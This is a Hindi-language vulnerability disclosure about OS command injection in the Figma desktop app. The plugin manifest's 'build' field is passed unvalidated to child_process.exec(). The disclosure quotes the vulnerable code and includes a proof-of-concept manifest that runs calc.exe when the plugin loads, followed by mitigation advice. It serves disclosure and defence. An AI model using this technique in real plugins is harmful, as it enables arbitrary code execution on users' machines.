
Figma डेस्कटॉप एप्लिकेशन में प्लगइन निष्पादन के माध्यम से OS कमांड इंजेक्शन भेद्यता
Figma डेस्कटॉप एप्लिकेशन (v125.6.5) में प्लगइन लोडर में एक कमांड इंजेक्शन भेद्यता है।
एक दुर्भावनापूर्ण प्लगइन मैनिफेस्ट (manifest.json) build फ़ील्ड का दुरुपयोग कर सकता है, जो बिना सत्यापन के सीधे में पास किया जाता है।
यह प्लगइन लोड होते ही बिना किसी सुरक्षा चेतावनी या संकेत के मनमाना OS कमांड निष्पादन की अनुमति देता है।
child_process.exec()भेद्यता main.js में स्थित कोड से उत्पन्न होती है, जो Node.js के अंतर्निहित child_process मॉड्यूल को आयात करता है:
Zlt = require("child_process")
बाद में, यदि किसी प्लगइन की manifest.json फ़ाइल में build फ़ील्ड मौजूद है और इसका मान एक स्ट्रिंग है, तो एप्लिकेशन बिना किसी सैनिटाइज़ेशन या सत्यापन के child_process.exec() का उपयोग करके सीधे मान को निष्पादित करता है:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
परिणामस्वरूप, एक दुर्भावनापूर्ण प्लगइन में निहित निम्नलिखित manifest.json फ़ाइल build फ़ील्ड के मान को OS कमांड के रूप में निष्पादित करने का कारण बनेगी:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
यह निष्पादन प्रवाह Figma के प्लगइन हैंडलिंग लॉजिक में एम्बेडेड है, और main.js में require("child_process") कॉल का शामिल होना पुष्टि करता है कि कमांड निष्पादन सीधे एप्लिकेशन के मुख्य तर्क में निर्मित है।
निम्नलिखित दुर्भावनापूर्ण manifest.json शामिल करने वाले प्लगइन को चलाकर:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
एक बार यह प्लगइन Figma में पंजीकृत और निष्पादित हो जाने पर, निर्दिष्ट OS कमांड (calc.exe) तुरंत चलता है।
यद्यपि build फ़ील्ड का निष्पादन Figma डेस्कटॉप एप्लिकेशन में आधिकारिक रूप से समर्थित सुविधा है, फिर भी एप्लिकेशन को जहाँ संभव हो, manifest.json में उपयोगकर्ता-नियंत्रित फ़ील्ड जैसे build पर निर्भर रहने से बचना चाहिए।
यदि ऐसे फ़ील्ड को समर्थित किया जाना आवश्यक है, तो कमांड इंजेक्शन को रोकने के लिए उन्हें सख्त इनपुट सत्यापन से गुजरना होगा।
इसके अतिरिक्त, Node.js के child_process.exec() के उपयोग से बचा जाना चाहिए, और इसके बजाय स्पष्ट तर्क हैंडलिंग वाले सुरक्षित विकल्प अपनाए जाने चाहिए।